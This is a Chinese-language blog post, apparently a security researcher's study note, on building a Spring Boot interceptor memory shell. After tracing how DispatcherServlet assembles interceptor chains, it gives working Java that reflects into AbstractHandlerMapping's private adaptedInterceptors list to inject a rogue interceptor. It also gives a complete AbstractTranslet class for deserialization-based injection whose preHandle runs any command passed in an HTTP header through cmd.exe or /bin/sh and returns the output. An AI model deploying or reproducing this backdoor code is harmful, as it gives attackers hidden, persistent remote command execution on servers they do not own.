SpringBoot Interceptor 内存马

前言:spring interceptor 内存马的笔记

springboot的拦截器实现原理参考文章:https://blog.csdn.net/qq_43369986/article/details/116746868

参考文章:https://landgrey.me/blog/19/

controller内存马的缺点

在对于存在相关的拦截器的时候,controller内存马就无法进行利用,原因就在于拦截器的调用顺序在controller之前,所以controller不能作为通用的内存马来进行使用。

https://landgrey.me/blog/19/ 中的截图如下

如下情况,比如我这里写个拦截器,除了login以外的都作为未授权处理,都自动重定向回/login,万一后台账号自己没了的话,或者等等情况,导致失去了访问权限,那么该内存马也就相当于不存在了。

容器配置类Appconfig.java

@Configuration
public class AppConfig implements WebMvcConfigurer {
    @Override
    public void addInterceptors(InterceptorRegistry registry) {
        registry.addInterceptor(new LoginInterceptor())
                .addPathPatterns("/**")
                .excludePathPatterns("/login");
    }
}

拦截器代码:

public class LoginInterceptor implements HandlerInterceptor {
    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        User userInfo = (User)request.getSession().getAttribute("loginInfo");
//        System.out.println(userInfo);
        if (userInfo != null)
            return true;
        request.setAttribute("msg", "禁止未授权访问");
        request.getRequestDispatcher("/").forward(request, response);
        return false;
    }

    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {

    }

    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {

    }
}

所以可以看到,这样的话对于某些一定需要权限的接口,就无法做到完美的权限维持,而Interceptor内存马能够弥补这样的缺陷。

Interceptor内存马复现

可以看到通过相关的header头传输命令,如下图所示,弹出一个对应的计算器

Interceptor内存马

首先还是先学习springboot本身是如何将拦截器应用的,因为拦截器本身是在请求的时候进行应用,而springboot核心处理请求都是在org/springframework/web/servlet/DispatcherServlet.java类中进行处理的,在相关的doDispatch方法上打上断点,如下图所示

接着随便一个请求, http://localhost:8080/asdasdasd ,跟随断点走,来到getHandler,跟进去

这个getHandler方法会遍历当前handlerMapping数组中的handler对象,来判断哪个handler来处理当前的request对象,这里用的是其中的SimpleUrlHandlerMapping对象

这继续跟到其中的mapping.getHandler(request);中,其中获取指定的拦截器处理过程也是在这里进行的,首先是获取对应的handler

然后接着getHandlerExecutionChain方法则是获取调用链,其中会就会将当前的拦截器加到当前的调用链中,类似于过滤链一样,然后在之后的处理中进行遍历调用

这里跟到其中可以看到,预先将要处理的拦截器都加入到调用链中

最后将handler和调用链一起进行封装,也就成为了HandlerExecutionChain,最后将这个对象返回,如下图所示

后面遍历拦截器的地方在如下这个地方,这里就不跟了

到这里就已经了解了相关的拦截器封装过程,这里主要的地方就是如下这个地方。

当前的对象是org/springframework/web/servlet/handler/AbstractHandlerMapping.java中的getHandlerExecutionChain方法

其中的this.adaptedInterceptors存储着所有的拦截器对象,该对象还是一个私有对象,所以想拿到的话还需要通过反射

这里整理思路:

1、先获取SpringBoot中的ApplicationContext对象

WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
RequestMappingHandlerMapping requestMappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);           

2、通过IOC容器中的AbstractHandlerMapping,接着通过反射来获取adaptedInterceptors字段(因为该字段为私有)

java.lang.reflect.Field field = org.springframework.web.servlet.handler.AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
field.setAccessible(true);
java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(requestMappingHandlerMapping);

3、将要注入的过滤器放入到adaptedInterceptors中

MemoryInterceptor memoryInterceptor = new MemoryInterceptor();
adaptedInterceptors.add(memoryInterceptor);

模拟反序列化内存马

还是跟上篇的一样,具体的环境就不再写上去了,参考https://www.cnblogs.com/zpchcbd/p/15544419.html

public class SpringBootMemoryShellOfInterceptor extends AbstractTranslet implements HandlerInterceptor {

    public SpringBootMemoryShellOfInterceptor() throws Exception{
        WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);
        AbstractHandlerMapping abstractHandlerMapping = context.getBean(AbstractHandlerMapping.class);
        Field field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");
        field.setAccessible(true);
        java.util.ArrayList<Object> adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);
        SpringBootMemoryShellOfInterceptor memoryInterceptor = new SpringBootMemoryShellOfInterceptor("aaa");
        adaptedInterceptors.add(memoryInterceptor);
    }

    public SpringBootMemoryShellOfInterceptor(String test){

    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {
        String command = request.getHeader("zpchcbd");
        if(command != null){
            try {
                java.io.PrintWriter writer = response.getWriter();
                String o = "";
                ProcessBuilder p;
                if(System.getProperty("os.name").toLowerCase().contains("win")){
                    p = new ProcessBuilder(new String[]{"cmd.exe", "/c", command});
                }else{
                    p = new ProcessBuilder(new String[]{"/bin/sh", "-c", command});
                }
                java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");
                o = c.hasNext() ? c.next(): o;
                c.close();
                writer.write(o);
                writer.flush();
                writer.close();
            }catch (Exception e){
                return false;
            }
            return false;
        }
        return true;
    }

    @Override
    public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {

    }

    @Override
    public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {

    }
}

执行命令测试如下:whoami

posted @ 2021-11-16 20:12  zpchcbd  阅读(670)  评论(0编辑  收藏  举报